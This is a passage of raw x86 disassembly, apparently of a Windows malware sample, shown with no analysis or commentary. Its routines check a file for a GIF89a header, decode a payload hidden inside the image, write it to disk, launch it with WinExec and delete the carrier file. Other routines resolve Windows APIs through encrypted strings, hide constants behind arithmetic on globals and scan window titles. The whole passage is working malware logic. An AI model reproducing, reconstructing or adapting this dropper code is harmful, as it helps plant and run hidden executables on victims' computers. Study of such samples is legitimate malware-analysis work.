		mov	ebx, dword_44A138
		add	ebx, 17h
		mov	edx, eax
		imul	edx, ebx
		add	edi, edx
		mov	[ebp+var_10], edi
		mov	eax, esi
		mul	[ebp+var_8]
		mov	[ebp+var_1C], eax
		and	eax, 0FFh
		push	eax
		call	sub_43935A
		mov	ebx, eax
		mov	[ebp+var_1], bl
		mov	eax, dword_44A134
		add	eax, dword_44A220
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_43D28C
		mov	ebx, eax
		mov	[ebp+var_11], bl
		mov	eax, esi
		mul	[ebp+var_C]
		mov	[ebp+var_20], eax
		and	eax, 0FFh
		push	eax
		call	sub_43935A
		mov	ebx, eax
		mov	[ebp+var_12], bl
		mov	eax, dword_44A1A0
		add	eax, 6Eh
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_43D28C
		mov	ebx, eax
		mov	[ebp+var_13], bl
		mov	eax, esi
		and	eax, 0FFh
		push	eax
		call	sub_43935A
		mov	ebx, eax
		mov	[ebp+var_14], bl
		mov	eax, dword_44A1AC
		add	eax, 2Ah
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_43D28C
		mov	ebx, eax
		mov	[ebp+var_15], bl
		mov	eax, esi
		mul	[ebp+var_10]
		mov	[ebp+var_24], eax
		and	eax, 0FFh
		push	eax
		call	sub_43935A
		mov	ebx, eax
		mov	[ebp+var_16], bl
		mov	eax, dword_44A14C
		add	eax, 40h
		movsx	edx, word_44A100
		add	eax, edx
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_43D28C
		mov	ebx, eax
		mov	[ebp+var_17], bl
		movsx	eax, word_44A240
		add	eax, 41h
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_43935A
		add	esp, 24h
		mov	ebx, eax
		mov	[ebp+var_18], bl
		movzx	edi, [ebp+var_1]
		mov	eax, edi
		shr	eax, 1
		mov	esi, dword_44A19C
		add	esi, dword_44A12C
		sub	esi, 0Ch
		mul	esi
		mov	[ebp+var_28], eax
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_43ADD7
		push	offset word_44B356
		call	sub_43C507
		movzx	edi, [ebp+var_18]
		push	edi
		movzx	edi, [ebp+var_17]
		push	edi
		movzx	edi, [ebp+var_16]
		push	edi
		movzx	edi, [ebp+var_15]
		push	edi
		movzx	edi, [ebp+var_14]
		push	edi
		movzx	edi, [ebp+var_13]
		push	edi
		movzx	edi, [ebp+var_12]
		push	edi
		movzx	edi, [ebp+var_11]
		push	edi
		movzx	edi, [ebp+var_1]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_449634
		add	esp, 30h
		jmp	short loc_43AE1B
; ---------------------------------------------------------------------------


loc_43ADD7:				; CODE XREF: sub_43ABE3+1ACj
		push	offset byte_44B33B
		call	sub_43C507
		movzx	edi, [ebp+var_18]
		push	edi
		movzx	edi, [ebp+var_17]
		push	edi
		movzx	edi, [ebp+var_16]
		push	edi
		movzx	edi, [ebp+var_15]
		push	edi
		movzx	edi, [ebp+var_14]
		push	edi
		movzx	edi, [ebp+var_13]
		push	edi
		movzx	edi, [ebp+var_12]
		push	edi
		movzx	edi, [ebp+var_11]
		push	edi
		movzx	edi, [ebp+var_1]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_449634
		add	esp, 30h


loc_43AE1B:				; CODE XREF: sub_43ABE3+1F2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43ABE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AE20	proc near		; CODE XREF: sub_43F3B6+15Ep

var_7		= byte ptr -7
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		mov	eax, ebx
		add	eax, 2
		mov	ecx, 3
		mov	edx, 0AAAAAAABh
		mul	edx
		shr	edx, 1
		mov	[ebp+var_4], edx
		mov	edi, edx
		shl	edi, 2
		mov	edx, [ebp+arg_C]
		dec	edx
		cmp	edi, edx
		jbe	short loc_43AE93
		xor	eax, eax
		jmp	loc_43AF42
; ---------------------------------------------------------------------------


loc_43AE58:				; CODE XREF: sub_43AE20+83j
		push	esi
		push	[ebp+arg_0]
		call	sub_43F932
		add	esp, 8
		mov	eax, dword_44A268
		dec	eax
		sub	ebx, eax
		mov	eax, dword_44A274
		add	eax, dword_44A278
		add	eax, [ebp+arg_0]
		mov	[ebp+arg_0], eax
		movsx	eax, word_44A208
		movsx	edx, word_44A144
		add	eax, edx
		sub	eax, 7
		lea	esi, [esi+eax]


loc_43AE93:				; CODE XREF: sub_43AE20+2Fj
		mov	eax, dword_44A12C
		add	eax, dword_44A1A8
		sub	eax, 7
		cmp	ebx, eax
		jnb	short loc_43AE58
		movsx	eax, word_44A0E8
		dec	eax
		cmp	ebx, eax
		jbe	short loc_43AF22
		push	3
		movsx	eax, word_44A100
		movsx	edx, word_44A218
		add	eax, edx
		sub	eax, 8
		push	eax
		lea	eax, [ebp+var_7]
		push	eax
		call	ds:dword_448644
		push	ebx
		push	[ebp+arg_0]
		lea	eax, [ebp+var_7]
		push	eax
		call	ds:dword_448638
		push	esi
		lea	eax, [ebp+var_7]
		push	eax
		call	sub_43F932
		add	esp, 20h
		mov	eax, dword_44A17C
		movsx	edx, word_44A27C
		add	eax, edx
		sub	eax, 6
		mov	byte ptr [esi+eax], 3Dh
		mov	eax, dword_44A12C
		sub	eax, 7
		cmp	ebx, eax
		jnz	short loc_43AF17
		mov	eax, dword_44A274
		inc	eax
		mov	byte ptr [esi+eax], 3Dh


loc_43AF17:				; CODE XREF: sub_43AE20+EBj
		mov	eax, dword_44A12C
		sub	eax, 4
		lea	esi, [esi+eax]


loc_43AF22:				; CODE XREF: sub_43AE20+8Fj
		mov	eax, dword_44A238
		movsx	edx, word_44A0A4
		add	eax, edx
		sub	eax, 6
		mov	edx, dword_44A244
		sub	edx, 4
		mov	[esi+eax], dl
		xor	eax, eax
		inc	eax


loc_43AF42:				; CODE XREF: sub_43AE20+33j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43AE20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AF47	proc near		; CODE XREF: sub_43BA75+22Ep
					; sub_43BA75+240p

var_61DA0	= dword	ptr -61DA0h
var_61D9C	= dword	ptr -61D9Ch
var_61D98	= byte ptr -61D98h
var_61C99	= byte ptr -61C99h
var_61C98	= dword	ptr -61C98h
var_61C91	= byte ptr -61C91h
var_30F51	= byte ptr -30F51h
var_30F50	= dword	ptr -30F50h
var_30F4B	= byte ptr -30F4Bh
var_30E4C	= dword	ptr -30E4Ch
var_30E48	= dword	ptr -30E48h
var_30E44	= dword	ptr -30E44h
var_30E3F	= byte ptr -30E3Fh
var_30E3E	= byte ptr -30E3Eh
var_30E3D	= byte ptr -30E3Dh
var_30E3C	= byte ptr -30E3Ch
var_30E3B	= byte ptr -30E3Bh
var_30E3A	= byte ptr -30E3Ah
var_30E15	= byte ptr -30E15h
var_30E14	= byte ptr -30E14h
var_30DC4	= byte ptr -30DC4h
var_30DBE	= byte ptr -30DBEh
var_30DBD	= byte ptr -30DBDh
var_30DBC	= byte ptr -30DBCh
var_30D4E	= byte ptr -30D4Eh
var_30D46	= byte ptr -30D46h
var_30D43	= byte ptr -30D43h
var_30D40	= byte ptr -30D40h
var_30D3F	= byte ptr -30D3Fh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 61DA0h
		call	sub_442F6C
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		and	[ebp+var_30F50], 0
		push	0
		mov	eax, dword_44A244
		movsx	edx, word_44A0FC
		add	eax, edx
		sub	eax, 0Ah
		push	eax
		push	3
		push	0
		mov	eax, dword_44A094
		sub	eax, 6
		push	eax
		push	80000000h
		push	[ebp+arg_0]
		call	ds:dword_449788	; CreateFileA
		mov	[ebp+var_30E48], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43B3C7
		push	0
		lea	eax, [ebp+var_30E4C]
		push	eax
		mov	eax, dword_44A108
		add	eax, 7Eh
		add	eax, dword_44A0C8
		push	eax
		lea	eax, [ebp+var_30E3F]
		push	eax
		push	[ebp+var_30E48]
		call	ds:dword_444028	; ReadFile
		mov	[ebp+var_30E44], eax
		movsx	eax, word_44A16C
		dec	eax
		cmp	[ebp+var_30E44], eax
		jz	loc_43B3A9
		cmp	[ebp+var_30E3F], 47h
		jnz	short loc_43B01A
		cmp	[ebp+var_30E3E], 49h
		jnz	short loc_43B01A
		cmp	[ebp+var_30E3D], 46h
		jnz	short loc_43B01A
		cmp	[ebp+var_30E3C], 38h
		jnz	short loc_43B01A
		cmp	[ebp+var_30E3B], 39h
		jnz	short loc_43B01A
		cmp	[ebp+var_30E3A], 61h
		jz	short loc_43B01F


loc_43B01A:				; CODE XREF: sub_43AF47+A4j
					; sub_43AF47+ADj ...
		jmp	loc_43B3A9
; ---------------------------------------------------------------------------


loc_43B01F:				; CODE XREF: sub_43AF47+D1j
		movzx	eax, [ebp+var_30E15]
		movsx	edx, word_44A1DC
		mov	ecx, dword_44A164
		lea	edx, [edx+ecx+36h]
		cmp	eax, edx
		jnz	short loc_43B04D
		cmp	[ebp+var_30DBE], 3Dh
		jnz	short loc_43B04D
		cmp	[ebp+var_30DBD], 3Dh
		jz	short loc_43B052


loc_43B04D:				; CODE XREF: sub_43AF47+F2j
					; sub_43AF47+FBj
		jmp	loc_43B3A9
; ---------------------------------------------------------------------------


loc_43B052:				; CODE XREF: sub_43AF47+104j
		or	ebx, ebx
		jnz	short loc_43B081
		mov	al, [ebp+var_30DBC]
		mov	[ebp+var_30F51], al
		call	sub_440DA6
		mov	edx, eax
		mov	[ebp+var_61C99], dl
		mov	al, [ebp+var_61C99]
		cmp	al, [ebp+var_30F51]
		jz	loc_43B3A9


loc_43B081:				; CODE XREF: sub_43AF47+10Dj
		push	0
		lea	eax, [ebp+var_30E4C]
		push	eax
		push	30D40h
		lea	eax, [ebp+var_61C91]
		push	eax
		push	[ebp+var_30E48]
		call	ds:dword_444028	; ReadFile
		mov	[ebp+var_30E44], eax
		mov	eax, dword_44A094
		sub	eax, 6
		cmp	[ebp+var_30E44], eax
		jz	loc_43B3A9
		mov	eax, [ebp+var_30E4C]
		mov	edx, dword_44A110
		add	edx, dword_44A268
		sub	edx, 9
		mov	[ebp+eax+var_61C91], dl
		push	30D40h
		lea	eax, [ebp+var_30D40]
		push	eax
		lea	eax, [ebp+var_61C91]
		push	eax
		call	sub_438348
		add	esp, 0Ch
		mov	esi, eax
		mov	eax, dword_44A184
		mov	edi, eax
		add	edi, dword_44A210
		sub	edi, 3
		jmp	short loc_43B14C
; ---------------------------------------------------------------------------


loc_43B107:				; CODE XREF: sub_43AF47+207j
		or	ebx, ebx
		jz	short loc_43B11E
		movzx	eax, [ebp+edi+var_30D40]
		sub	eax, edi
		mov	[ebp+edi+var_30D40], al
		jmp	short loc_43B14B
; ---------------------------------------------------------------------------


loc_43B11E:				; CODE XREF: sub_43AF47+1C2j
		movzx	eax, [ebp+edi+var_30D40]
		mov	[ebp+var_61D9C], eax
		mov	eax, edi
		mul	edi
		mov	[ebp+var_61DA0], eax
		mov	eax, [ebp+var_61D9C]
		mov	edx, [ebp+var_61DA0]
		sub	eax, edx
		mov	[ebp+edi+var_30D40], al


loc_43B14B:				; CODE XREF: sub_43AF47+1D5j
		inc	edi


loc_43B14C:				; CODE XREF: sub_43AF47+1BEj
		cmp	edi, esi
		jb	short loc_43B107
		or	ebx, ebx
		jz	short loc_43B16D
		mov	eax, dword_44A254
		sub	eax, 8
		mov	edx, esi
		sub	edx, eax
		mov	eax, dword_44A274
		dec	eax
		mov	[ebp+edx+var_30D40], al


loc_43B16D:				; CODE XREF: sub_43AF47+20Bj
		movsx	eax, word_44A104
		mov	edx, dword_44A0A0
		movsx	ecx, word_44A0E8
		add	edx, ecx
		sub	edx, 5
		mov	[ebp+eax+var_30DC4], dl
		push	0FFh
		lea	eax, [ebp+var_61D98]
		push	eax
		lea	eax, [ebp+var_30E14]
		push	eax
		call	sub_438348
		lea	eax, [ebp+var_61D98]
		push	eax
		push	esi
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_43C2C0
		add	esp, 18h
		mov	[ebp+var_30E44], eax
		mov	eax, dword_44A09C
		sub	eax, 5
		cmp	[ebp+var_30E44], eax
		jnz	loc_43B3A9
		mov	[ebp+var_30F50], 1
		or	ebx, ebx
		jz	loc_43B306
		mov	eax, dword_44A25C
		add	eax, dword_44A19C
		cmp	[ebp+eax+var_30D4E], 64h
		jnz	short loc_43B276
		movzx	eax, [ebp+var_30D3F]
		movsx	edx, word_44A1FC
		add	edx, 1Bh
		sub	eax, edx
		mov	byte ptr [ebp+var_61D9C+3], al
		movzx	eax, byte ptr [ebp+var_61D9C+3]
		push	eax
		push	0
		call	sub_440511
		mov	eax, dword_44A25C
		sub	eax, 8
		mov	ds:dword_446620, eax
		mov	eax, dword_44A0AC
		dec	eax
		mov	dword_44A350, eax
		mov	eax, dword_44A148
		movsx	edx, word_44A0C0
		sub	edx, 2
		mov	[ebp+eax+var_30D40], dl
		movsx	eax, word_44A16C
		movsx	edx, word_44A0D0
		add	eax, edx
		sub	eax, 7
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_43D8DE
		add	esp, 10h


loc_43B276:				; CODE XREF: sub_43AF47+2B4j
		mov	eax, dword_44A0A8
		cmp	[ebp+eax+var_30D46], 67h
		jnz	loc_43B3A9
		movsx	eax, word_44A144
		movsx	edx, word_44A0D0
		add	eax, edx
		mov	edx, dword_44A128
		sub	edx, 9
		mov	[ebp+eax+var_30D43], dl
		lea	eax, [ebp+var_30D3F]
		push	eax
		call	ds:dword_444054
		mov	[ebp+var_61D9C], eax
		push	eax
		push	offset dword_449670
		call	sub_43ABE3
		mov	eax, dword_44A0F0
		dec	eax
		mov	ds:dword_446620, eax
		movsx	eax, word_44A0FC
		sub	eax, 6
		mov	dword_44A350, eax
		movsx	eax, word_44A144
		add	eax, dword_44A204
		sub	eax, 6
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_43D8DE
		add	esp, 14h
		jmp	loc_43B3A9
; ---------------------------------------------------------------------------


loc_43B306:				; CODE XREF: sub_43AF47+29Bj
		movsx	eax, word_44A098
		add	eax, 5
		push	eax
		lea	eax, [ebp+var_30F4B]
		push	eax
		call	sub_43F353
		push	offset byte_44B333
		call	sub_43C507
		push	eax
		lea	edx, [ebp+var_30F4B]
		push	edx
		call	ds:dword_444020
		push	0
		push	80h
		push	2
		push	0
		mov	eax, dword_44A090
		sub	eax, 3
		push	eax
		push	40000000h
		lea	eax, [ebp+var_30F4B]
		push	eax
		call	ds:dword_449788	; CreateFileA
		mov	[ebp+var_61C98], eax
		push	0
		lea	eax, [ebp+var_30E4C]
		push	eax
		push	esi
		lea	eax, [ebp+var_30D40]
		push	eax
		push	[ebp+var_61C98]
		call	ds:dword_449B8C	; WriteFile
		push	[ebp+var_61C98]
		call	ds:dword_448654	; CloseHandle
		push	5
		lea	eax, [ebp+var_30F4B]
		push	eax
		call	ds:dword_4460E0	; WinExec
		movzx	eax, [ebp+var_30F51]
		push	eax
		call	sub_43B982
		add	esp, 18h


loc_43B3A9:				; CODE XREF: sub_43AF47+97j
					; sub_43AF47:loc_43B01Aj ...
		push	[ebp+var_30E48]
		call	ds:dword_448654	; CloseHandle
		cmp	[ebp+var_30F50], 0
		jz	short loc_43B3C7
		push	[ebp+arg_0]
		call	ds:dword_444008	; DeleteFileA


loc_43B3C7:				; CODE XREF: sub_43AF47+52j
					; sub_43AF47+475j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43AF47	endp


; =============== S U B	R O U T	I N E =======================================



sub_43B3CC	proc near		; CODE XREF: sub_43EC0A+16p
		push	edi
		push	offset word_44B326
		call	sub_43C507
		pop	ecx
		push	eax
		call	ds:dword_4465E8	; GetModuleHandleA
		mov	dword_44A2A4, eax
		test	eax, eax
		jnz	short loc_43B3FF
		push	offset byte_44B319
		call	sub_43C507
		pop	ecx
		push	eax
		call	ds:dword_447244	; LoadLibraryA
		mov	dword_44A2A4, eax


loc_43B3FF:				; CODE XREF: sub_43B3CC+1Aj
		push	offset word_44B306
		call	sub_43C507
		push	eax
		push	dword_44A2A4
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449BB4, eax
		push	offset word_44B2F2
		call	sub_43C507
		push	eax
		push	dword_44A2A4
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_446624, eax
		push	offset word_44B2E2
		call	sub_43C507
		push	eax
		push	dword_44A2A4
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_4460D0, eax
		push	offset dword_44B2D0
		call	sub_43C507
		push	eax
		push	dword_44A2A4
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_4460D8, eax
		push	offset byte_44B2C1
		call	sub_43C507
		add	esp, 14h
		push	eax
		push	dword_44A2A4
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449648, eax
		pop	edi
		retn
sub_43B3CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B490	proc near		; DATA XREF: sub_43963B+Bo

arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		pusha
		mov	esi, [ebp+arg_8]
		mov	eax, offset sub_43BA5C
		mov	[esi+0B8h], eax
		mov	eax, [ebp+arg_4]
		mov	[esi+0C4h], eax
		popa
		mov	esp, ebp
		pop	ebp
		xor	eax, eax
		retn
sub_43B490	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_43B4B3	proc near		; CODE XREF: sub_43EC0A+11p
		push	edi
		push	offset dword_44B2B4
		call	sub_43C507
		pop	ecx
		push	eax
		call	ds:dword_4465E8	; GetModuleHandleA
		mov	dword_44A2A0, eax
		test	eax, eax
		jnz	short loc_43B4E6
		push	offset byte_44B2A7
		call	sub_43C507
		pop	ecx
		push	eax
		call	ds:dword_447244	; LoadLibraryA
		mov	dword_44A2A0, eax


loc_43B4E6:				; CODE XREF: sub_43B4B3+1Aj
		push	offset dword_44B298
		call	sub_43C507
		push	eax
		push	dword_44A2A0
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_447250, eax
		push	offset word_44B286
		call	sub_43C507
		add	esp, 8
		push	eax
		push	dword_44A2A0
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_445120, eax
		pop	edi
		retn
sub_43B4B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B523	proc near		; CODE XREF: sub_44006A+142p

var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_442F6C
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_44A1F4
		sub	eax, 4
		push	eax
		lea	eax, [ebp+var_FFF]
		push	eax
		call	sub_440511
		add	esp, 8
		movsx	edi, word_44A100
		sub	edi, 3
		jmp	short loc_43B571
; ---------------------------------------------------------------------------


loc_43B557:				; CODE XREF: sub_43B523+54j
		cmp	[ebp+edi+var_FFF], 23h
		jnz	short loc_43B570
		mov	eax, dword_44A288
		sub	eax, 6
		mov	[ebp+edi+var_FFF], al


loc_43B570:				; CODE XREF: sub_43B523+3Cj
		inc	edi


loc_43B571:				; CODE XREF: sub_43B523+32j
		cmp	edi, 0FFFh
		jb	short loc_43B557
		lea	esi, [ebp+var_FFF]


loc_43B57F:				; CODE XREF: sub_43B523+ECj
		push	offset word_44B282
		call	sub_43C507
		push	offset dword_445020
		mov	ebx, dword_44A134
		movsx	edx, word_44A0B0
		add	ebx, edx
		sub	ebx, 0Fh
		push	ebx
		mov	ebx, dword_44A20C
		movsx	edx, word_44A250
		add	ebx, edx
		sub	ebx, 7
		push	ebx
		push	eax
		mov	ebx, dword_44A224
		sub	ebx, 5
		push	ebx
		push	0
		push	esi
		push	[ebp+arg_0]
		mov	ebx, dword_44A1D4
		add	ebx, dword_44A1C4
		sub	ebx, 5
		and	ebx, 0FFh
		push	ebx
		call	sub_43D058
		add	esp, 28h
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_43B5E8:				; CODE XREF: sub_43B523+CAj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43B5E8
		movsx	edx, word_44A1E0
		sub	edx, 2
		mov	ebx, eax
		add	ebx, esi
		mov	esi, edx
		add	esi, ebx
		movsx	eax, byte ptr [esi]
		mov	edx, dword_44A25C
		sub	edx, 8
		cmp	eax, edx
		jnz	loc_43B57F
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43B523	endp


; =============== S U B	R O U T	I N E =======================================



sub_43B61A	proc near		; DATA XREF: .data:0044A3A8o
		mov	eax, 80004001h
		retn	10h
sub_43B61A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B622	proc near		; CODE XREF: sub_44006A+1A1p
					; sub_44006A+1C2p

var_4F		= byte ptr -4Fh
var_1D		= byte ptr -1Dh
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	ds:dword_449770	; GetTickCount
		mov	[ebp+var_8], eax
		mov	esi, dword_44A140
		sub	esi, 9
		jmp	short loc_43B689
; ---------------------------------------------------------------------------


loc_43B642:				; CODE XREF: sub_43B622+79j
		cmp	ds:dword_445130[esi*4],	0
		jz	short loc_43B688
		mov	edx, ds:dword_448660[esi*4]
		mov	ecx, dword_44A0C8
		add	ecx, 0EA5Fh
		movsx	eax, word_44A0E8
		add	ecx, eax
		mov	eax, dword_44A0A8
		add	eax, dword_44A1E8
		sub	eax, 2
		imul	ecx, eax
		add	edx, ecx
		cmp	edx, [ebp+var_8]
		jnb	short loc_43B688
		and	ds:dword_445130[esi*4],	0


loc_43B688:				; CODE XREF: sub_43B622+28j
					; sub_43B622+5Cj
		inc	esi


loc_43B689:				; CODE XREF: sub_43B622+1Ej
		mov	eax, dword_44A0F0
		add	eax, 3E4h
		add	eax, dword_44A13C
		cmp	esi, eax
		jb	short loc_43B642


loc_43B69D:				; CODE XREF: sub_43B622+99j
					; sub_43B622+281j
		mov	eax, [ebx]
		mov	[ebp+var_14], eax
		lea	ebx, [ebx+eax]
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jnb	loc_43B8A9
		mov	eax, dword_44A244
		cmp	[ebp+var_14], eax
		ja	short loc_43B69D
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_43B6C2:				; CODE XREF: sub_43B622+A5j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43B6C2
		mov	[ebp+var_10], eax
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		movsx	edx, word_44A264
		add	edx, dword_44A204
		sub	edx, 6
		sub	eax, edx
		mov	[ebp+var_C], eax
		mov	[ebp+var_1], 44h
		mov	eax, dword_44A204
		sub	eax, 1
		cmp	byte ptr [ebx+eax], 2Ah
		jnz	short loc_43B6FC
		mov	[ebp+var_1], 43h


loc_43B6FC:				; CODE XREF: sub_43B622+D4j
		mov	edi, dword_44A0EC
		sub	edi, 4
		jmp	short loc_43B72E
; ---------------------------------------------------------------------------


loc_43B707:				; CODE XREF: sub_43B622+121j
		cmp	ds:dword_445130[edi*4],	0
		jz	short loc_43B72D
		mov	edx, [ebp+var_C]
		cmp	ds:dword_444060[edi*4],	edx
		jnz	short loc_43B72D
		mov	dl, ds:byte_446200[edi]
		cmp	dl, [ebp+var_1]
		jz	loc_43B888


loc_43B72D:				; CODE XREF: sub_43B622+EDj
					; sub_43B622+F9j
		inc	edi


loc_43B72E:				; CODE XREF: sub_43B622+E3j
		mov	eax, dword_44A194
		add	eax, 3D9h
		movsx	edx, word_44A0FC
		add	eax, edx
		cmp	edi, eax
		jb	short loc_43B707
		mov	eax, dword_44A168
		add	eax, 3BEh
		movsx	edx, word_44A260
		add	eax, edx
		cmp	[ebp+var_10], eax
		jbe	loc_43B831
		mov	eax, dword_44A0F8
		add	eax, 7
		movsx	edx, word_44A16C
		add	eax, edx
		push	eax
		lea	eax, [ebp+var_4F]
		push	eax
		call	sub_43F353
		add	esp, 8
		mov	eax, dword_44A0AC
		add	eax, 3BFh
		mov	[ebp+var_18], eax
		movsx	eax, word_44A0FC
		add	eax, dword_44A1F8
		sub	eax, 9
		mov	[ebp+var_1C], eax


loc_43B79F:				; CODE XREF: sub_43B622+20Aj
		mov	eax, [ebp+var_18]
		mov	al, [ebx+eax]
		mov	[ebp+var_1D], al
		mov	eax, [ebp+var_18]
		mov	edx, dword_44A114
		movsx	ecx, word_44A1B4
		add	edx, ecx
		sub	edx, 0Ch
		mov	[ebx+eax], dl
		push	offset dword_445020
		push	[ebp+var_10]
		push	[ebp+var_1C]
		lea	eax, [ebp+var_4F]
		push	eax
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		push	[ebp+arg_0]
		push	ebx
		push	[ebp+arg_8]
		mov	eax, dword_44A1EC
		add	eax, dword_44A0A0
		sub	eax, 0Ch
		and	eax, 0FFh
		push	eax
		call	sub_43D058
		add	esp, 24h
		mov	eax, [ebp+var_18]
		mov	dl, [ebp+var_1D]
		mov	[ebx+eax], dl
		mov	[ebp+var_1C], eax
		mov	eax, dword_44A1B0
		add	eax, 3B6h
		movsx	edx, word_44A118
		add	eax, edx
		add	[ebp+var_18], eax
		mov	eax, [ebp+var_10]
		cmp	[ebp+var_18], eax
		jbe	short loc_43B824
		mov	[ebp+var_18], eax


loc_43B824:				; CODE XREF: sub_43B622+1FDj
		mov	eax, [ebp+var_10]
		cmp	[ebp+var_1C], eax
		jnb	short loc_43B883
		jmp	loc_43B79F
; ---------------------------------------------------------------------------


loc_43B831:				; CODE XREF: sub_43B622+139j
		push	offset byte_44B27D
		call	sub_43C507
		push	offset dword_445020
		push	[ebp+var_10]
		movsx	edx, word_44A100
		add	edx, dword_44A1F8
		sub	edx, 6
		push	edx
		push	eax
		mov	edx, [ebp+arg_C]
		push	dword ptr [edx]
		push	[ebp+arg_0]
		push	ebx
		push	[ebp+arg_8]
		movsx	edx, word_44A0FC
		movsx	ecx, word_44A0D0
		add	edx, ecx
		sub	edx, 0Dh
		and	edx, 0FFh
		push	edx
		call	sub_43D058
		add	esp, 28h


loc_43B883:				; CODE XREF: sub_43B622+208j
		mov	eax, [ebp+arg_C]
		inc	dword ptr [eax]


loc_43B888:				; CODE XREF: sub_43B622+105j
		mov	eax, [ebp+var_10]
		lea	ebx, [ebx+eax]
		inc	ebx
		mov	eax, [ebp+arg_C]
		mov	edx, dword_44A1F8
		add	edx, 0Bh
		add	edx, dword_44A094
		cmp	[eax], edx
		jbe	loc_43B69D


loc_43B8A9:				; CODE XREF: sub_43B622+8Bj
		push	offset off_44B279
		call	sub_43C507
		push	offset dword_445020
		movsx	edx, word_44A1F0
		movsx	ecx, word_44A27C
		add	edx, ecx
		sub	edx, 7
		push	edx
		movsx	edx, word_44A170
		sub	edx, 2
		push	edx
		push	eax
		mov	edx, dword_44A140
		add	edx, dword_44A244
		sub	edx, 0Dh
		push	edx
		push	0
		push	0
		push	[ebp+arg_8]
		mov	edx, dword_44A1AC
		add	edx, dword_44A210
		sub	edx, 5
		and	edx, 0FFh
		push	edx
		call	sub_43D058
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43B622	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B912	proc near		; DATA XREF: sub_439992+26o

var_1FFF	= byte ptr -1FFFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_442F6C
		push	esi
		push	edi
		push	1FFFh
		lea	eax, [ebp+var_1FFF]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_449BA4	; GetWindowTextA
		push	offset dword_44B264
		call	sub_43C507
		mov	edi, dword_44A224
		add	edi, dword_44A134
		sub	edi, 0Ch
		push	edi
		push	eax
		lea	edi, [ebp+var_1FFF]
		push	edi
		call	sub_4384B5
		add	esp, 10h
		mov	esi, dword_44A198
		add	esi, 0FFFDh
		cmp	eax, esi
		jz	short loc_43B979
		push	[ebp+arg_0]
		call	sub_4393B1
		pop	ecx


loc_43B979:				; CODE XREF: sub_43B912+5Cj
		xor	eax, eax
		inc	eax
		pop	edi
		pop	esi
		leave
		retn	8
sub_43B912	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B982	proc near		; CODE XREF: sub_43AF47+45Ap
					; DATA XREF: sub_439B7B+D7o

var_270		= byte ptr -270h
var_26C		= byte ptr -26Ch
var_267		= byte ptr -267h
var_168		= byte ptr -168h
var_104		= byte ptr -104h
